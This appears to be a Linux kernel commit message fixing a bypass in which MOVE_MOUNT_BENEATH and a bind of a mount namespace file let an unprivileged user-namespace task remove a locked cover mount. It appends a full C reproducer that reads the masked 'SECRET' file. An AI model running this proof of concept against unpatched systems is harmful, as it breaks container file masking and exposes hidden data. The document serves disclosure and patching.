Since commit c62a476693 ("move_mount: transfer MNT_LOCKED") a mount
can be moved beneath a locked mount. The lock moves from the old cover
to the new mount which takes over the job of hiding what's under it and
the old cover can be unmounted. That works as long as the new mount
stays. But the caller picks the new mount and copy_tree() leaves a
mount of a mount namespace file out of every copy made without
CL_COPY_MNT_NS_FILE, together with everything mounted on it, and never
looks at MNT_LOCKED. unshare(CLONE_NEWNS) and mount propagation make
such copies.
So a task that is root in its own user namespace gets rid of a locked
cover on a file without a race and without touching the filesystem
below it. It makes a child with a mount namespace of its own, binds the
child's /proc/<pid>/ns/mnt beneath the cover with MOVE_MOUNT_BENEATH,
which hands the lock to that bind, and calls unshare(CLONE_NEWNS). The
new mount namespace has nothing on the file. That's the usual way to
mask a single file, a bind of /dev/null or of an empty file. With a
bind of an ordinary file the file stays covered.
copy_tree() already refuses to leave out a locked unbindable mount with
-EPERM since commit df7342b240 ("mount: Don't allow copying
MNT_UNBINDABLE|MNT_LOCKED mounts"). Do the same for a locked mount of a
mount namespace file. That also covers a tree copied with
CL_COPY_MNT_NS_FILE and attached into a mount namespace of another user
namespace where lock_mnt_tree() locks it. Note that unshare(CLONE_NEWNS)
and clone(CLONE_NEWNS) fail with EPERM from such a mount namespace from
then on. The mount can't be left out and it can't be unmounted.
And refuse to move a mount of a mount namespace file beneath a locked
mount in the first place. Otherwise the task ends up with a mount it
can't unmount and an unshare() that fails for good.
Chris also found a second mount that goes away by itself, a clone of an
automounted mount that shrink_submounts() took along with its parent.
Commit f78ddcc872 ("namespace: never expire a locked mount") took
care of that one.
Chris's reproducer is appended. Mode nsfile reads SECRET after the
unshare() on 7.3-rc7, with this patch the move_mount() fails with
EINVAL and the file stays covered. nsfile-control uses an ordinary file
and reads MASK both ways.
// SPDX-License-Identifier: GPL-2.0
/*
* Get rid of a locked cover with MOVE_MOUNT_BENEATH.
*
* The "admin" (root) makes a tmpfs W:
* W/D file, holds SECRET, covered by a bind of a file with MASK
* W/Dd/inner file, holds SECRET, Dd is covered by a bind of a directory
* whose "inner" holds MASK
* W/own directory of uid 1000 with the file "mine" and the
* directory "minedir", whose "inner" holds MINE
* W/dbg debugfs, mode 755. dbg/tracing is an automount point
* The "attacker" is uid 1000. It enters a new user namespace with a new mount
* namespace, so W and both covers are locked there.
*
* usage: prog MODE
* plain put a bind of own/mine beneath the cover of D, unmount the cover
* nsfile put a bind of the mount namespace file of a child beneath the
* cover of D, then unshare(CLONE_NEWNS)
* nsfile-control the same with a bind of own/mine
* shrink put a bind of the automounted tracefs beneath the cover of Dd,
* unmount the cover, put a tmpfs beneath W, call umount(W), which fails
* shrink-control the same with a bind of own/minedir
* The environment variable AUTOMOUNT_DIR names another automount point for "shrink".
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#ifndef MOVE_MOUNT_BENEATH
#define MOVE_MOUNT_BENEATH 0x00000200
#endif
#define W "/run/x2"
static void die(const char *what)
{
fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno));
exit(2);
}
static void put_file(const char *name, const char *content)
{
int fd = open(name, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd < 0 || write(fd, content, strlen(content)) < 0)
die(name);
close(fd);
}
static void show(const char *path)
{
char buf[32] = "";
int fd = open(path, O_RDONLY);
if (fd < 0) {
printf("attacker: open(%s) = %s\n", path, strerror(errno));
return;
}
if (read(fd, buf, sizeof(buf) - 1) < 0)
snprintf(buf, sizeof(buf), "<%s>", strerror(errno));
close(fd);
printf("attacker: read(%s) = \"%s\"%s\n", path, buf,
strncmp(buf, "SECRET", 6) ? "" : " <-- HIT");
}
static int say(const char *what, int ret)
{
printf("attacker: %s: %s\n", what, ret ? strerror(errno) : "ok");
return ret;
}
static void write_str(const char *path, const char *s)
{
int fd = open(path, O_WRONLY);
if (fd < 0 || write(fd, s, strlen(s)) < 0)
die(path);
close(fd);
}
static void mounts(void)
{
if (system("grep x2 /proc/self/mountinfo"))
printf("attacker: no mounts listed\n");
}
static void admin_setup(void)
{
if (unshare(CLONE_NEWNS) || mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL))
die("unshare");
mkdir(W, 0755);
if (mount("W", W, "tmpfs", 0, "mode=755"))
die("mount W");
if (mkdir(W "/Dd", 0755) || mkdir(W "/maskdir", 0755) || mkdir(W "/dbg", 0755) ||
mkdir(W "/own", 0755) || mkdir(W "/own/minedir", 0755))
die("mkdir");
put_file(W "/D", "SECRET");
put_file(W "/Dd/inner", "SECRET");
put_file(W "/mask", "MASK");
put_file(W "/maskdir/inner", "MASK");
put_file(W "/own/mine", "MINE");
put_file(W "/own/minedir/inner", "MINE");
if (mount(W "/mask", W "/D", NULL, MS_BIND, NULL) ||
mount(W "/maskdir", W "/Dd", NULL, MS_BIND, NULL))
die("covers");
if (mount("dbg", W "/dbg", "debugfs", 0, "mode=755"))
die("mount debugfs");
}
static void become_attacker(void)
{
if (setgroups(0, NULL) || setresgid(1000, 1000, 1000) ||
setresuid(1000, 1000, 1000) || prctl(PR_SET_DUMPABLE, 1))
die("drop to uid 1000");
if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
die("unshare user and mount namespace");
write_str("/proc/self/setgroups", "deny");
write_str("/proc/self/uid_map", "0 1000 1");
write_str("/proc/self/gid_map", "0 1000 1");
}
/* clone the mount at @src and put the clone beneath the top mount at @where */
static int beneath(const char *src, const char *where)
{
char what[128];
int fd = open_tree(AT_FDCWD, src, OPEN_TREE_CLONE | OPEN_TREE_CLOEXEC);
int ret;
snprintf(what, sizeof(what), "open_tree(%s, OPEN_TREE_CLONE)", src);
if (say(what, fd < 0))
return -1;
ret = move_mount(fd, "", AT_FDCWD, where,
MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH);
snprintf(what, sizeof(what), "move_mount(clone, %s, MOVE_MOUNT_BENEATH)", where);
say(what, ret);
close(fd);
return ret;
}
static void do_nsfile(int control)
{
char path[64] = W "/own/mine";
int pfd[2];
pid_t pid;
char c;
if (pipe(pfd))
die("pipe");
pid = fork();
if (pid < 0)
die("fork");
if (!pid) {
if (unshare(CLONE_NEWNS) || write(pfd[1], "g", 1) != 1)
die("child");
pause();
exit(0);
}
if (read(pfd[0], &c, 1) != 1)
die("sync");
if (!control)
snprintf(path, sizeof(path), "/proc/%d/ns/mnt", pid);
beneath(path, W "/D");
mounts();
say("unshare(CLONE_NEWNS)", unshare(CLONE_NEWNS));
show(W "/D");
mounts();
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
}
static void do_shrink(int control)
{
const char *automount = getenv("AUTOMOUNT_DIR");
int fd, mfd;
if (!automount)
automount = W "/dbg/tracing";
beneath(control ? W "/own/minedir" : automount, W "/Dd");
say("umount2(Dd, 0), the old cover", umount2(W "/Dd", 0));
say("umount2(Dd, 0), the mount that was put beneath", umount2(W "/Dd", 0));
show(W "/Dd/inner");
say("umount2(W, 0)", umount2(W, 0));
fd = fsopen("tmpfs", FSOPEN_CLOEXEC);
if (fd < 0 || fsconfig(fd, FSCONFIG_CMD_CREATE, NULL, NULL, 0))
die("fsopen tmpfs");
mfd = fsmount(fd, FSMOUNT_CLOEXEC, 0);
if (mfd < 0)
die("fsmount");
say("move_mount(new tmpfs, W, MOVE_MOUNT_BENEATH)",
move_mount(mfd, "", AT_FDCWD, W, MOVE_MOUNT_F_EMPTY_PATH | MOVE_MOUNT_BENEATH));
close(mfd);
mounts();
say("umount2(W, 0)", umount2(W, 0));
show(W "/Dd/inner");
mounts();
}
int main(int argc, char **argv)
{
const char *mode = argc > 1 ? argv[1] : "plain";
setvbuf(stdout, NULL, _IOLBF, 0);
admin_setup();
become_attacker();
show(W "/D");
show(W "/Dd/inner");
say("umount2(D, MNT_DETACH)", umount2(W "/D", MNT_DETACH));
say("umount2(Dd, MNT_DETACH)", umount2(W "/Dd", MNT_DETACH));
if (!strcmp(mode, "plain")) {
beneath(W "/own/mine", W "/D");
show(W "/D");
say("umount2(D, MNT_DETACH), the old cover", umount2(W "/D", MNT_DETACH));
show(W "/D");
say("umount2(D, MNT_DETACH), the mount that was put beneath",
umount2(W "/D", MNT_DETACH));
show(W "/D");
mounts();
} else if (!strncmp(mode, "nsfile", 6)) {
do_nsfile(!strcmp(mode, "nsfile-control"));
} else {
do_shrink(!strcmp(mode, "shrink-control"));
}
return 0;
}
Fixes: c62a476693 ("move_mount: transfer MNT_LOCKED")
Reported-by: Chris Mason <mason@kernel.org>
Cc: stable@vger.kernel.org # v7.1+
Link: https://patch.msgid.link/20261014-work-namei-locked-mnt_ns_file-v1-1-24035bd5d8e9@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
69fbe94f80